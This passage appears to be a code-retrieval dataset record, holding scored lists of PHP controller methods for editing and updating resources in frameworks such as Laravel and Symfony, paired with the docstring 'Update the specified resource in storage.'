redirect()->intended('/resource-management');\n }\n\n return view('resources-mgmt/edit', ['resource' => $resource, 'users' => $users]);\n }", "public function edit()\n {\n return view('commonmodule::edit');\n }", "public function editAction()\n\t{\n\t\t$params = $this->data->getParams();\n\t\t$params = $this->valid->clearDataArr($params);\n\t\tif (isset($params['id']))\n\t\t{\n\t\t\t$this->employee->setFlag(true);\n\t\t}\n\t\tif (isset($_POST['submit']))\n\t\t{\n\t\t\t$action = $this->valid->clearDataArr($_POST);\n\t\t\t$this->employee->setDataArray($action);\n\t\t\theader('Location: ' . PATH . 'Employee/index/', true, 303);\n\t\t}\n\t\t$employee = $this->employee->setAction('edit');\n\t\t$this->view->addToReplace($employee);\n\t\t$this->listEmployee();\n\t\t$this->arrayToPrint();\n\t}", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit()\n {\n return view('catalog::edit');\n }", "public function edit(form $form)\n {\n //\n }", "public function actionEdit($id) { }", "public function edit()\n {\n return view('admincp::edit');\n }", "public function edit()\n {\n return view('scaffold::edit');\n }", "public function edit($id)\n {\n $header = \"Edit\";\n\t\t$data = Penerbit::findOrFail($id);\n\t\treturn view('admin.penerbit.form', compact('data','header'));\n }", "public function edit()\n {\n return view('Person.edit');\n }", "public function edit($id)\n {\n $data = Form::find($id);\n return view('form.edit', compact('data'));\n }", "public function edit($id)\n\t{\n\t\t$career = $this->careers->findById($id);\n\t\treturn View::make('careers._form', array('career' => $career, 'exists' => true));\n\t}", "public function edit(Flight $exercise, FlightResource $resource)\n {\n return $this->viewMake('adm.smartcars.exercise-resources.edit')\n ->with('flight', $exercise)\n ->with('resource', $resource);\n }", "public function edit($id)\n\t{\n\t\t// get the material\n\t\t$material = Material::find($id);\n\n\t\t// show the edit form and pass the material\n\t\t$this->layout->content = View::make('material.edit')\n\t\t\t->with('material', $material);\n\t}", "public function edit($id, Request $request)\n {\n $formObj = $this->modelObj->find($id);\n\n if(!$formObj)\n {\n abort(404);\n } \n\n $data = array();\n $data['formObj'] = $formObj;\n $data['page_title'] = \"Edit \".$this->module;\n $data['buttonText'] = \"Update\";\n\n $data['action_url'] = $this->moduleRouteText.\".update\";\n $data['action_params'] = $formObj->id;\n $data['method'] = \"PUT\"; \n\n return view($this->moduleViewName.'.add', $data);\n }", "public function edit()\n {\n $id = $this->getId();\n return view('panel.user.form', [\n 'user' => $this->userRepository->findById($id),\n 'method' => 'PUT',\n 'routePrefix' => 'profile',\n 'route' => 'profile.update',\n 'parameters' => [$id],\n 'breadcrumbs' => $this->getBreadcrumb('Editar')\n ]);\n }", "public function edit()\r\n {\r\n return view('mpcs::edit');\r\n }", "function edit()\n\t{\n\t\t// hien thi form sua san pham\n\t\t$id = getParameter('id');\n\t\t$product = $this->model->product->find_by_id($id);\n\t\t$this->layout->set('auth_layout');\n\t\t$this->view->load('product/edit', [\n\t\t\t'product' => $product\n\t\t]);\n\t}", "public function edit($id)\n {\n //\n $data = Diskon::find($id);\n\n $form = $this->form;\n $edit = $this->edit;\n $field = $this->field;\n $page = $this->page;\n $id = $id;\n $title = $this->title;\n return view('admin/page/'.$this->page.'/edit',compact('form','edit','data','field','page','id','title'));\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "public function edit($id)\n {\n return $this->showForm($id);\n }", "protected function _edit(){\n\t\treturn $this->_editForm();\n\t}", "public function editAction()\n {\n $robot = Robots::findFirst($this->session->get(\"robot-id\"));\n if ($this->request->isGet()) {\n $this->tag->prependTitle(\"Редактировать робота :: \");\n $user = $this->session->get(\"auth-id\");\n if (!$robot) {\n $this->flashSession->error(\n \"Робот не найден\"\n );\n return $this->response->redirect(\"users/usershow/$user->name\");\n }\n\n }\n\n $this->view->form = new RobotForm(\n $robot,\n [\n \"edit\" => true,\n ]\n );\n }", "public function editAction()\n {\n $form = new $this->form();\n\n $request = $this->getRequest();\n $param = $this->params()->fromRoute('id', 0);\n\n $repository = $this->getEm()->getRepository($this->entity);\n $entity = $repository->find($param);\n\n if ($entity) {\n\n $form->setData($entity->toArray());\n\n if ( $request->isPost() ) {\n\n $form->setData($request->getPost());\n\n if ( $form->isValid() ) {\n\n $service = $this->getServiceLocator()->get($this->service);\n $service->update($request->getPost()->toArray());\n\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n }\n } else {\n return $this->redirect()->toRoute($this->route, array('controller' => $this->controller));\n }\n\n return new ViewModel(array('form' => $form, 'id' => $param));\n\n }", "public function edit($id)\n\t{\n\t\t$SysApplication = \\Javan\\Dynaflow\\Domain\\Model\\SysApplication::find($id);\n\t\t$form = \\FormBuilder::create('Javan\\Dynaflow\\FormBuilder\\SysApplicationForm', [\n \t'method' => 'POST',\n \t'url' => 'sysapplication/update/'.$id,\n \t'model' => $SysApplication,\n \t'data' => [ 'flow_id' => $SysApplication->flow_id]\n \t]);\n\t\treturn View::make('dynaflow::sysapplication.form', compact('form', 'SysApplication'));\n\t}", "public function editAction() {\n\t\t$id = (int) $this->_getParam('id');\n\t\t$modelName = $this->_getParam('model');\n\t\t\n\t\t$model = Marcel_Backoffice_Model::factory($modelName);\n\t\t$item = $model->find($id)->current();\n\t\tif (!$item) {\n\t\t\t$item = $model->createRow();\n\t\t}\n\t\t$form = $item->getForm();\n\t\tif ($this->_request->isPost()) {\n\t\t\t$newId = $form->populate($this->_request->getPost())->save();\n\t\t\tif ($newId) {\n\t\t\t\t$this->_helper->flashMessenger('Saved successfully!');\n\t\t\t\t$this->_helper->redirector('edit', null, null, array('id' => $newId, 'model' => $modelName));\n\t\t\t}\n\t\t}\n\t\t$this->view->form = $form;\n\t\t$this->view->messages = $this->_helper->flashMessenger->getMessages();\n\t}", "public function edit($id)\n {\n return view('models::edit');\n }", "public function edit()\n {\n return view('home::edit');\n }", "public function editAction()\n {\n $id = $this->params()->fromRoute('id');\n $entity = $this->entityManager->find(Entity\\CourtClosing::class, $id);\n if (! $entity) {\n // to do: deal with it\n }\n $form = $this->getForm('update');\n $form->bind($entity);\n if ($this->getRequest()->isPost()) {\n return $this->post();\n }\n\n return new ViewModel(['form' => $form]);\n }", "public function editAction($id)\n {\n $entity = $this->getManager()->find($id);\n\n $breadcrumbs = $this->get(\"white_october_breadcrumbs\");\n $breadcrumbs->addItem('Inicio', $this->get('router')->generate('admin.homepage'));\n $breadcrumbs->addItem($this->entityDescription, $this->get(\"router\")->generate(\"admin.$this->entityName.index\"));\n $breadcrumbs->addItem('Editar');\n\n if (!$entity) {\n throw $this->createNotFoundException('No se ha encontrado el elemento');\n }\n\n $form = $this->getForm($entity);\n\n return $this->render('AdminBundle:Default:edit.html.twig', array(\n 'entity' => $entity,\n 'form' => $form->createView(),\n 'metadata' => $this->getMetadata()\n ));\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit()\n {\n return view('user::edit');\n }", "public function edit(Form $form)\n {\n return view('admin.forms.edit', compact('form'));\n }", "public function editAction()\n {\n $form = MediaForm::create($this->get('form.context'), 'media');\n $media = $this->get('media_manager.manager')->findOneById($this->get('request')->get('media_id'));\n \n $form->bind($this->get('request'), $media);\n \n return $this->render('MediaManagerBundle:Admin:form.html.twig', array('form' => $form, 'media' => $media));\n }", "public function editAction($id) {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('CdlrcodeBundle:Question')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Question entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('CdlrcodeBundle:Question:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('consultas::edit');\n }", "public function edit(DirectorFormBuilder $form, $id)\n {\n return $form->render($id);\n }", "public function edit()\n {\n return view('dashboard::edit');\n }", "public function edit($id){\n $rfid = Rfid::find($id);\n\n //load form view\n return view('rfids.edit', ['rfid' => $rfid]);\n }", "public function edit($id)\n {\n\n // retrieve provider\n $provider = Provider::findOrFail($id);\n\n // return form with provider\n return view('backend.providers.form')->with('provider', $provider);\n }", "public function edit(Question $question)\n {\n $this->employeePermission('application' , 'edit');\n $question->chooses;\n $action = 'edit';\n return view('admin.setting.question_form', compact('action' , 'question'));\n }", "public function edit() {\n return view('routes::edit');\n }", "public function edit($id)\n {\n $this->data['product'] = Product::find($id);\n $this->data['category'] = Category::arrForSelect();\n $this->data['title'] = \" Update Prouct Details\";\n $this->data['mode'] = \"edit\";\n\n return view('product.form', $this->data);\n }", "public function edit(ClueEnFormBuilder $form, $id): Response\n {\n return $form->render($id);\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('BaseBundle:Feriado')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Feriado entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('BaseBundle:Feriado:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return view('cataloguemodule::edit');\n }", "public function edit($articulo_id)\n {\n $titulo = \"Editar\";\n return View(\"articulos.formulario\",compact('titulo','articulo_id'));\n }", "public function edit($id)\n {\n $resources = User::find(session('usuario_id'))->resources;\n $languages = Language::pluck('name', 'id');\n $types = Type::pluck('name', 'id');\n $method = 'PATCH';\n\n $recurso = Resource::find($id);\n $url = \"/resource/$recurso->id\";\n\n return view('resources.resources', compact('resources', 'languages', 'types', 'method', 'url', 'recurso'));\n }", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit]);\n }", "public function displayEditForm(Employee $employee){\n return view('employee.displayEditForm',['employee'=>$employee]);\n }", "public function edit()\n {\n return view('website::edit');\n }", "public function edit()\n {\n return view('inventory::edit');\n }", "public function edit()\n {\n return view('initializer::edit');\n }", "public function editAction()\n {\n View::renderTemplate('Profile/edit.html', [\n 'user' => $this->user\n ]);\n }", "public function edit($id)\n {\n return view('backend::edit');\n }", "public function edit($id)\n {\n //dd($id);\n $familiaPrograma= FamiliaPrograma::findOrFail($id);\n return view('familiasPrograma.edit', compact('familiaPrograma'));\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n return view('crm::edit');\n }", "public function edit($id)\n {\n $user = User::where('id', $id)->first();\n\n\n return view('users.forms.update', compact('user'));\n }", "public function editAction($id)\n\t{\n\t\t$school = School::find( $id );\n\t\t$this->render( View::make( 'schools/form' , array(\n\t\t\t'title' => sprintf( 'Modifier \"%s\"', $school->name ),\n\t\t\t'entity' => $school\n\t\t) ) );\n\t}", "public function edit(Question $question)\n {\n $edit = TRUE;\n return view('questionForm', ['question' => $question, 'edit' => $edit ]);\n }", "public function edit(Person $person) {\n\t\t$viewModel = new PersonFormViewModel();\n\t\treturn view('person.form', $viewModel);\n\t}", "public function edit($id)\n {\n \t$product = Product::find($id);\n \treturn view('admin.products.edit')->with(compact('product')); // formulario de actualizacion de datos del producto\n }", "public function edit_person($person_id){\n \t$person = Person::find($person_id);\n \treturn view('resource_detail._basic_info.edit',compact('person'));\n }", "public function edit($id)\n {\n $professor = $this->repository->find($id);\n return view('admin.professores.edit',compact('professor'));\n }", "public function edit($id)\n {\n $data = Restful::find($id);\n return view('restful.edit', compact('data'));\n }", "public function editAction($id)\n {\n $em = $this->getDoctrine()->getManager();\n\n $entity = $em->getRepository('MedecinIBundle:Fichepatient')->find($id);\n\n if (!$entity) {\n throw $this->createNotFoundException('Unable to find Fichepatient entity.');\n }\n\n $editForm = $this->createEditForm($entity);\n $deleteForm = $this->createDeleteForm($id);\n\n return $this->render('MedecinIBundle:Fichepatient:edit.html.twig', array(\n 'entity' => $entity,\n 'edit_form' => $editForm->createView(),\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public function edit($id)\n {\n return $this->form->render('mconsole::personal.form', [\n 'item' => $this->person->query()->with('uploads')->findOrFail($id),\n ]);\n }", "public function edit($id)\n\t{\n\t\t // get the project\n $project = Project::find($id);\n\n // show the edit form and pass the project\n return View::make('logicViews.projects.edit')->with('project', $project);\n\t}" ]
[ "0.78550774", "0.7692893", "0.7273195", "0.7242132", "0.7170847", "0.70622855", "0.7053459", "0.6982539", "0.69467914", "0.6945275", "0.6941114", "0.6928077", "0.69019294", "0.68976134", "0.68976134", "0.6877213", "0.68636996", "0.68592185", "0.68566656", "0.6844697", "0.68336326", "0.6811471", "0.68060875", "0.68047357", "0.68018645", "0.6795623", "0.6791791", "0.6791791", "0.6787701", "0.67837197", "0.67791027", "0.677645", "0.6768301", "0.6760122", "0.67458534", "0.67458534", "0.67443407", "0.67425704", "0.6739898", "0.6735328", "0.6725465", "0.6712817", "0.6693891", "0.6692419", "0.6688581", "0.66879624", "0.6687282", "0.6684741", "0.6682786", "0.6668777", "0.6668427", "0.6665287", "0.6665287", "0.66610634", "0.6660843", "0.66589665", "0.66567147", "0.66545695", "0.66527975", "0.6642529", "0.6633056", "0.6630304", "0.6627662", "0.6627662", "0.66192114", "0.6619003", "0.66153085", "0.6614968", "0.6609744", "0.66086483", "0.66060555", "0.6596137", "0.65950733", "0.6594648", "0.65902114", "0.6589043", "0.6587102", "0.65799844", "0.65799403", "0.65799177", "0.657708", "0.65760696", "0.65739626", "0.656931", "0.6567826", "0.65663105", "0.65660435", "0.65615267", "0.6561447", "0.6561447", "0.65576506", "0.655686", "0.6556527", "0.6555543", "0.6555445", "0.65552044", "0.65543956", "0.65543705", "0.6548264", "0.65475875", "0.65447706" ]
0.0
-1
Update the specified resource in storage.
public function update(Request $request, Image $image) { $image->syncTags($request->tags); return [ 'status' => 'success' ]; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function updateShopifyResource() {\n $this->saving();\n $this->getShopifyApi()->call([\n 'URL' => API::PREFIX . $this->getApiPathSingleResource(),\n 'METHOD' => 'PUT',\n 'DATA' => [\n static::getResourceSingularName() => $this->shopifyData\n ]\n ]);\n }", "public function update(Request $request, Resource $resource)\n {\n $request->validate([\n 'name' => 'required',\n 'description' => 'required|string',\n 'file' => 'required|mimes:jpg,jpeg,png,doc,docx,pdf,ppt,txt',\n ]);\n\n $resource->update($request->all());\n\n if ( $request->hasFile('file') ) {\n $resource = 'resource-'.time().'.'.$request->file('file')->extension();\n $request->file->storeAs('resources', $resource,'public');\n $resource->file = $resource;\n }\n\n if ( $resource->save() ) {\n return redirect()->route('admin.resources.index')->with('success', 'Resource updated');\n } else {\n return redirect()->route('admin.resources.index')->with('error', 'Something went wrong');\n }\n }", "public function update(Request $request, Resource $resource)\n {\n //\n }", "public function updateStream($resource);", "public function update(Request $request, Storage $storage)\n {\n $storage->product_id = $request->product_id;\n $storage->amount = $request->amount;\n\n $storage->save();\n\n return redirect()->route('storages.index');\n }", "protected function updateImageResource($fileName, $imageId, $storage)\n {\n //Get image name and storage location for image\n $image = Image::where('id', '=', $imageId)->first();\n\n //Delete old image\n $this->deleteResource($image->name, $image->storage);\n\n //Store the new image\n $image->name = $fileName;\n $image->storage = $storage;\n\n $image->save();\n }", "public function update(Storage $storage, UpdateStorageRequest $request)\n {\n $this->storage->update($storage, $request->all());\n\n return redirect()->route('admin.product.storage.index')\n ->withSuccess(trans('core::core.messages.resource updated', ['name' => trans('product::storages.title.storages')]));\n }", "public function update(StoreStorage $request, Storage $storage)\n {\n $storage->fill($request->all())->save();\n $request->session()->flash('alert-success', 'Запись успешно обновлена!');\n return redirect()->route('storage.index');\n }", "public function update_asset($id, Request $request){\n \t\tif(!Auth::user()){\n\t\t\treturn redirect('/');\n\t\t}\n \t\t$asset = Storage::find($id);\n \t\t$asset->name = $request->name;\n \t\t$asset->quantity = $request->quantity;\n \t\t$asset->category_id = $request->category;\n \t\tif($request->file('image') != null){\n\t\t\t$image = $request->file('image');\n\t\t\t$image_name = time(). \".\" . $image->getClientOriginalExtension();\n\t\t\t$destination = \"images/\";\n\t\t\t$image->move($destination, $image_name);\n\t\t\t$asset->image_url = $destination.$image_name;\n\t\t} \n\t\t$asset->save();\n\t\tsession()->flash('success_message', 'Item Updated successfully');\n\t\treturn redirect(\"/storage\");\n \t}", "public function update(Request $request, Flight $exercise, FlightResource $resource)\n {\n $request->validate([\n 'display_name' => 'required|string|max:100',\n 'file' => 'nullable|file|max:10240|mimes:pdf',\n 'uri' => 'nullable|url|max:255',\n ]);\n\n if ($resource->type === 'file' && $request->file('file')) {\n Storage::drive('public')->delete($resource->resource);\n $resource->resource = $request->file('file')->store('smartcars/exercises/resources', ['disk' => 'public']);\n } elseif ($resource->type === 'uri' && $request->input('uri')) {\n $resource->resource = $request->input('uri');\n }\n\n $resource->save();\n\n return redirect()->route('adm.smartcars.exercises.resources.index', $exercise)\n ->with('success', 'Resource edited successfully.');\n }", "public function update(Request $request, $id)\n {\n $validator = Validator::make($request->all(), [\n 'title' => 'required|string',\n 'content' => 'required|string',\n 'mentoring_area_id' => 'required|integer',\n 'featured_image_uri' => 'string',\n ]);\n\n if ($validator->fails()) {\n return APIHandler::response(0, $validator->errors(), 400);\n }\n \n $resource = Resource::find($id);\n $resource->title = $request->get('title');\n $resource->content = $request->get('content');\n $resource->featured_image_uri = $request->get('featured_image_uri');\n $resource->updated_at = \\Carbon\\Carbon::now();\n $resource->mentoring_area_id = $request->get('mentoring_area_id');\n $resource->save();\n $data['resource'] = $resource;\n return APIHandler::response(1, \"Resource has been updated\");\n }", "protected function updateVideoResource($fileName, $videoId, $storage, $premium=1)\n {\n //Get video name and storage location for video\n $video = Video::where('id', '=', $videoId)->first();\n\n //Check the storage medium\n if($storage == 'vimeo' || $storage == 'youtube')\n {\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n else\n {\n if($video['storage'] == 'local' || $video['storage'] == 's3')\n {\n //Delete old video\n $this->deleteResource($video->name, $video->storage);\n }\n \n //Store the new video\n $video->name = $fileName;\n $video->storage = $storage;\n $video->premium = $premium;\n $video->save();\n }\n }", "public function put($resource, $with=[]){\n return $this->fetch($resource, self::PUT, $with);\n }", "public function update($id, $resource) {\n SCA::$logger->log(\"update resource\");\n return $this->orders_service->update($id, $resource);\n }", "public function update($path);", "public function update($id, $resource)\n {\n SCA::$logger->log(\"Entering update()\");\n //check whether it is an sdo or an xml string.\n if ($resource instanceof SDO_DataObjectImpl) {\n //if the thing received is an sdo convert it to xml\n if ($this->xml_das !== null) {\n $xml = SCA_Helper::sdoToXml($this->xml_das, $resource);\n } else {\n throw new SCA_RuntimeException(\n 'Trying to update a resource with SDO but ' .\n 'no types specified for reference'\n );\n }\n } else {\n $xml = $resource;\n }\n\n $slash_if_needed = ('/' === $this->target_url[strlen($this->target_url)-1])?'':'/';\n\n $handle = curl_init($this->target_url.$slash_if_needed.\"$id\");\n curl_setopt($handle, CURLOPT_HEADER, false);\n curl_setopt($handle, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($handle, CURLOPT_CUSTOMREQUEST, \"PUT\");\n curl_setopt($handle, CURLOPT_POSTFIELDS, $xml);\n\n //replace with Content-Type: atom whatever\n $headers = array(\"User-Agent: SCA\",\n \"Content-Type: text/xml;\",\n \"Accept: text/plain\");\n curl_setopt($handle, CURLOPT_HTTPHEADER, $headers);\n\n $result = curl_exec($handle);\n\n $response_http_code = curl_getinfo($handle, CURLINFO_HTTP_CODE);\n\n curl_close($handle);\n\n $response_exception = $this->buildResponseException($response_http_code, '200');\n\n if ($response_exception != null) {\n throw $response_exception;\n } else {\n //update does not return anything in the body\n return true;\n }\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'name' => 'required',\n 'link' => 'required',\n 'description' => 'required'\n ]);\n\n $resource = Resource::find($id);\n $resource->name = $request->name;\n $resource->type_id = $request->type_id;\n $resource->has_cost = ($request->has('has_cost')) ? 1 : 0;\n $resource->language_id = $request->language_id;\n $resource->link = $request->link;\n $resource->description = $request->description;\n $resource->tags = '';\n\n $resource->save();\n //return back()->with('success', 'Recurso actualizado satisfactoriamente');\n return redirect('/resource')->with('success', 'Recurso actualizado satisfactoriamente');\n }", "public function update(Request $request, $id)\n {\n $oldProduct = Product::findOrFail($id);\n $data = $request->all();\n if(isset($data['img'])){\n // $file = $request->file('photo');\n // return $file;\n $imgName = time().'.'.$request->img->extension();\n $data['img'] = $imgName;\n // Storage::putFile('spares', $file);\n $path = $request->img->storeAs('public/uploads', $imgName); //in Storage\n\n //delete old file\n if($oldProduct->img != 'product-default.png'){\n Storage::delete(\"public/uploads/\".$oldProduct->img);\n // return 'deleted';\n }\n \n }else{\n $data['img'] = $oldProduct->img;\n }\n $oldProduct->update($data);\n return redirect()->route('product.index'); \n\n }", "public function update($request, $id) {\n\t\t\t$image = $request['photo'];\n\t\t\tif($image !== null) {\n\t\t\t\t$name = time().'.' . explode('/', explode(':', substr($image, 0, strpos($image, ';')))[1])[1];\n\t\t\t\t\\Image::make($request['photo'])->save(public_path('storage/products/').$name);\n\t\t\t\t$request['photo'] = $name;\n\t\t\t} else {\n\t\t\t\t$currenPhoto = Product::all()->where('id', $id)->first();\n\t\t\t\t$request['photo'] = $currenPhoto->photo;\n\t\t\t}\n return $this->product->update($id, $request);\n\t}", "public function updateStream($path, $resource, Config $config)\n {\n }", "public function edit(Resource $resource)\n {\n //\n }", "public function updateResourceIndex(&$resource) {\n if ($this->connector != null) {\n\n // STEP 1: Update or insert this resource as a node:\n $this->logger->addDebug(\"Updating/Inserting Node into Neo4J database\");\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} }) SET a.title = {title}, a.version = {version}, a.href = {href}\n return a;\",\n [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n );\n\n // Check to see if anything was added\n $records = $result->getRecords();\n if (empty($records)) {\n // Must create this record instead\n $result = $this->connector->run(\"CREATE (n:Resource) SET n += {infos};\",\n [\n \"infos\" => [\n 'id' => $resource->getID(),\n 'version' => $resource->getVersion(),\n 'title' => $resource->getTitle(),\n 'href' => $resource->getLink()\n ]\n ]\n );\n }\n\n // STEP 2: Update or insert the resource's link to holding repository\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id} })-[r:HIRELATION]->()\n return r;\",\n [\n 'id' => $resource->getID(),\n ]\n );\n $records = $result->getRecords();\n if (!empty($records)) {\n // delete the one there so that we can add the correct one (just in case)\n $result = $this->connector->run(\"MATCH (a:Resource {id: {id}})-[r:HIRELATION]->() delete r;\",\n [\n 'id' => $resource->getID()\n ]\n );\n\n }\n\n // If resource has a repository, then add a link\n if ($resource->getRepository() != null && $resource->getRepository()->getID() != null) {\n $this->connector->run(\"MATCH (a:Identity {id: {id1} }) MATCH (b:Resource {id: {id2} }) CREATE (b)-[r:HIRELATION]->(a);\",\n [\n 'id1' => (string) $resource->getRepository()->getID(),\n 'id2' => $resource->getID()\n ]);\n }\n }\n }", "public function update($data) {}", "public function update($data) {}", "public function putStream($resource);", "public function update(Request $request, NebulaResource $resource, $item): RedirectResponse\n {\n $this->authorize('update', $item);\n\n $validated = $request->validate($resource->rules(\n $resource->editFields()\n ));\n\n $resource->updateQuery($item, $validated);\n\n $this->toast(__(':Resource updated', [\n 'resource' => $resource->singularName(),\n ]));\n\n return redirect()->back();\n }", "public function saveShopifyResource() {\n if (is_null($this->getShopifyId())) { // if there is no id...\n $this->createShopifyResource(); // create a new resource\n } else { // if there is an id...\n $this->updateShopifyResource(); // update the resource\n }\n }", "public function update($entity);", "public function update($entity);", "public function setResource($resource);", "public function updateStream($path, $resource, Config $config)\n {\n return $this->upload($path, $resource, $config);\n }", "public function isUpdateResource();", "public function update(Request $request, $id)\n {\n $device = Device::findOrFail($id);\n $device->fill($request->all());\n if ($request->hasFile('icon')) {\n if ($device->hasMedia('icon')) {\n $device->deleteMedia($device->getFirstMedia('icon'));\n }\n $device->addMediaFromRequest('icon')->toMediaCollection('icon');\n }\n $device->save();\n return new DeviceResource($device);\n }", "public function update(Request $request, $id)\n {\n //\n $product = Product::findOrFail($id);\n \n $product->update($request->all());\n \n $file = $request->file('url_image')->move('upload', $request->file('url_image')->getClientOriginalName());\n\n Product::where('id',$id)->update(['url_image'=>$file]);\n \n \\Session::flash('flash_message', 'Edit product successfully.'); \n \n //cũ : return redirect('articles');\n return redirect()->route('products.index');\n }", "public function store($data, Resource $resource);", "public function update(Request $request, $id)\n {\n \n $product = Product::find($id);\n\n\n $product->fill($request->all())->save();\n\n //Verificamos que tenemos una imagen\n if($request->file('photo_1')){\n\n\n //En caso de tenerla la guardamos en la clase Storage en la carpeta public en la carpeta image.\n $path = Storage::disk('public')->put('photo_1',$request->file('photo_1'));\n\n //Actualizamos el Post que acabamos de crear\n $product->fill(['photo_1' => asset($path)])->save();\n\n }\n\n\n return redirect()->route('products.index')->with('info', 'Producto actualizado exitosamente!');\n }", "public function update(Request $request, $id)\n {\n $product = Product::find($id);\n\n if (\\Input::hasFile('image')) {\n $this->imgsave($request, $product);\n }\n\n\n if (!empty($request->input('tags'))) {\n $product->tags()->sync($request->input('tags'));\n } else {\n $product->tags()->detach();\n }\n\n $product->update($request->all());\n\n return redirect()->to('dashboard/product')->with('message', 'update success');\n }", "public function put($resource_path, array $variables = array()) {\n return $this->call($resource_path, $variables, 'PUT');\n }", "public function update($id)\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n if (method_exists($this, 'updateValidations')) {\n $this->request->validate($this->updateValidations());\n }\n\n /* Get the specified resource */\n $resource = $this->model::findOrFail($id);\n\n /* Update the specified resource */\n $resource->update(Input::all());\n\n /* Redirect back */\n return redirect()->back()\n ->with(\n 'info',\n Lang::has($this->name . '.resource-updated') ?\n $this->name . '.resource-updated' :\n 'messages.alert.resource-updated'\n );\n }", "public function putResponse($request)\n {\n $idSearched = $this->searcher->searchResourceIndex(\n $request, \n $this->db[$request['resource']]\n );\n if ($idSearched) {\n $resource = $this->db[$request['resource']][$idSearched];\n $bodyInput = json_decode($this->standardInput, true);\n $resource = BodyRequest::canApplyBody($bodyInput);\n $resource['id'] = (int)$request['param'];\n foreach($resource as $key => $value) {\n $this->db[$request['resource']][$idSearched][$key] = $value;\n }\n file_put_contents(DB_PATH, json_encode($this->db));\n }\n }", "public function update(Storedataset $request, dataset $dataset){\n $dataset->title = $request->input('title');\n $dataset->caption = $request->input('caption');\n $dataset->file_url = $request->input('file_url');\n $dataset->type = $request->input('type');\n $dataset->status = $request->input('status');\n $dataset->publication_id = $request->input('publication_id');\n\n $dataset->save();\n\n return redirect()->route('datasets.show', ['dataset' => $dataset]);\n }", "public function update(Request $request, $id)\n\n {\n ResourceManagement::findOrFail($id);\n $constraints = [\n 'title' => 'required|max:100',\n 'url'=> 'required|max:191',\n 'content' => 'required'\n ];\n\n $input = [\n 'title' => $request['title'],\n 'url' => $request['url'],\n 'content' => $request['content'],\n 'type' => $request['type'],\n 'level' => $request['level'],\n 'user_id' => $request['user']\n ];\n// $this->validate($input, $constraints);\n ResourceManagement::where('id', $id)\n ->update($input);\n\n return redirect()->intended('/resource-management');\n }", "public function update(Request $request, $id)\n {\n $this->validate($request, [\n 'title' => 'required',\n 'description' => 'required|string',\n 'price' => 'required|numeric',\n 'reference'=>'required'\n ]);\n \n $product = Product::find($id);\n $product->update($request->all());\n \n $im = $request->file('picture');\n \n if (!empty($im)) {\n \n $link = $request->file('picture')->store('images');\n \n \n $product->update([\n 'url_image' => $link,\n ]);\n } \n //dump($request->all());\n return redirect()->route('product.index')->with('message', 'Article modifié avec succès');\n }", "public function update(StoreOrUpdateAsset $request, Asset $asset)\n {\n if (Storage::exists($asset->path) && !Storage::delete($asset->path)) {\n abort(500);\n }\n\n $file = $request->file('file');\n $path = $file->store('assets');\n\n if (!$path) {\n abort(500);\n }\n\n // We wonder if we should delete the old file or not...\n\n $asset->name = $file->getClientOriginalName();\n $asset->size = $file->getSize();\n $asset->type = $file->getMimeType();\n $asset->path = $path;\n\n if ($asset->save()) {\n flash('The asset has been saved.')->success();\n } else {\n abort(500);\n }\n\n return redirect('/admin/assets');\n }", "public function update(FoodRecipeRequest $request, $id)\n {\n $foodRecipe = FoodRecipe::with('ingredients','cookingProcesses')->findOrFail($id);\n if ($request->input('name')!= null)\n $foodRecipe->name = $request->input('name');\n if ($request->input('detail')!= null)\n $foodRecipe->detail = $request->input('detail');\n if($request->file('photo') != null) {\n $old_file = $foodRecipe->photo;\n if($old_file != null){\n $path = public_path().'/storage/'.$old_file;\n File::delete($path);\n }\n $file = $request->file('photo');\n $name = '/foodRecipe/' . Carbon::now()->format(\"dnY-Hisu\") . \".\" . $file->extension();\n $file->storePubliclyAs('public', $name);\n $foodRecipe->photo = $name;\n }\n $foodRecipe->save();\n return new FoodRecipeResource($foodRecipe);\n }", "public function update(StorageTypeRequest $request, $id)\n {\n try {\n $this->service->updateStorageType($request, $id);\n return $this->NoContent();\n } catch (EntityNotFoundException $e) {\n \\Log::error($e->getMessage());\n return $this->NotFound($e->getMessage());\n } catch(\\QueryException $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n } catch(Exception $e) {\n \\Log::error($e->getMessage());\n return $this->ServerError();\n }\n }", "public function update(Request $request, $id)\n {\n //validation\n $this->validate(request(),[\n 'image' => 'image'\n ]);\n\n $slider = HomeSliders::find($id);\n \n $slider->link = request('link');\n\n //get old image to delete if updated\n $oldImage = request('oldImage');\n //get the new image\n $NewImage=$request->file('image');\n\n if($NewImage)\n {\n $filenameToStore= helpers::updatePhoto('image','homeSliders',$request);\n $slider->image=$filenameToStore;\n\n Storage::delete('public/Images/homeSliders/'.$oldImage);\n 